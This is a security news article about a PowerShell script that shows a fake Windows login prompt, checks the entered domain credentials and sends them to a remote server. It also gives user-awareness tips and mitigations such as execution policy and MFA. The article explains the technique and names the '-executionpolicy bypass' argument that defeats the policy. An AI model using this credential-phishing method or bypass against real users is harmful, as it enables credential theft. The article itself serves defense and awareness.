A new PowerShell script was posted on Github recently that prompts a victim to enter their login credentials, checks if they are correct, and then sends the credentials to a remote server. This allows an attacker to distribute the script and harvest domain login credentials from their victims.

Description on Github

This Github script utilizes the Get-Credential PowerShell cmdlet to display the login prompt that asks the user to enter their credentials. When the user enters their credentials, the script will try to use them to authenticate to the victim's domain, and if successful, will send the credentials to a remote server. If the entered credentials are incorrect, the script will keep prompting the user to enter their credentials.

At this point the only way to terminate the prompt, is to open Task Manager, look for a process called "Windows PowerShell", and then terminate it.

Task Manager

Thankfully, the login prompt displayed by this particular script makes it easy to spot as the alert will be titled "Windows PowerShell credential request" and will contain a blue ribbon with a set of keys as shown below.

Default Get-credentials Prompt

After posting this article, I was alerted by a reader that this attack method is not new at all. It turns out it was covered by Matt Nelson, otherwise known as enigma0x3 and one of the creators of the Empire PowerShell post-exploitation kit. His script, took it a bit further by allowing the title box of the login prompt to be changed so that it is more convincing to the user.

For example, below we created a prompt that pretends to be Windows Defender and asks the user to login in order to clean the computer.

Customized Credentials Prompt

While experienced computer users may still find prompt to be suspicious, there are many who may think it's legitimate and enter their login name and password.

Thankfully, even though the title may have been changed, the prompt itself still contains the blue ribbon with the set of keys in it. Therefore, if you ever see a prompt asking for your username and password and the alert look similar to the one above, be wary about entering your credentials. It could very well be an attempt to steal your domain login.

What it comes down to, if you see a prompt asking for a username and password and you have never seen it before or there is no clear indication where it came from, you should immediately be suspicious and not enter your credentials.

At that point, contact your system administrator and run a security scan to see if you are infected with anything. Do not though, provide your login credentials until you confirm that the prompt is legitimate.

This tip should also be used when performing any function on your computer whether it be the receiving and opening of attachments, User Account Control prompts that appear out of nowhere, and prompts asking you if its ok to execute a program.

If something occurs on your computer that is unexpected or you find it suspicious, then you should immediately treat it with caution.

How to mitigate against this type of threat

To make it harder for malicious PowerShell scripts to execute in Windows, you should set an execution policy that specifies what types of PowerShell scripts can be executed. To set this execution policy, you would use the Set-ExecutionPolicy command within PowerShell.

When in PowerShell, you can determine what your current execution policy is by running the "Get-ExecutionPolicy" command. This will print out the current restriction that is in place.

To make it so that no PowerShell scripts can be executed by default, you can use the "Restricted" setting. To configure this, you would enter "Set-ExecutionPolicy -executionpolicy restricted" command. as shown in the image below.

Setting the PowerShell Execution Policy

Unfortunately, there are many ways to bypass this execution policy and run PowerShell scripts. As an example, you can use the -executionpolicy bypass argument when executing PowerShell so that the execution policy is ignored for that particular execution of PowerShell.

As you can see in the image below, when I have my execution policy set to Restriction and try to run the hello.ps1 script, Windows reports the desired behavior of "running scripts is disabled". If we add the -executionpolicy bypass argument to the PowerShell commad, though, we can see that this execution policy is bypassed and the script was able to run perfectly.

Bypassing the PowerShell Execution Policy

Even though the configured execution policy can be bypassed, it is still strongly suggested that you configure it to Restricted if you do not need to execute scripts. For most, this setting will already be set to Restricted, but you should check your system to be certain.

One of our readers, Blahdidbert, also suggested using multi-factored authentication as a way to prevent scripts like this from confirming your login credentials. By using MFA, a user will be required to enter a secondary method of authentication before the login credentials will be accepted. While I have not been able to test this against this type of script, it should prevent your credentials from being confirmed.



Update 3/15/18 15:06 EST:

From comments (Thx Blahdidbert), itt turns out that the method used in this script is not new and has already been covered by Matt Nelson, one of the creators of the Empire PowerShell post-exploitation kit. Blahdidbert also made the suggestion that the article should include information on how to mitigate this type of threat. The article has been updated to include this information.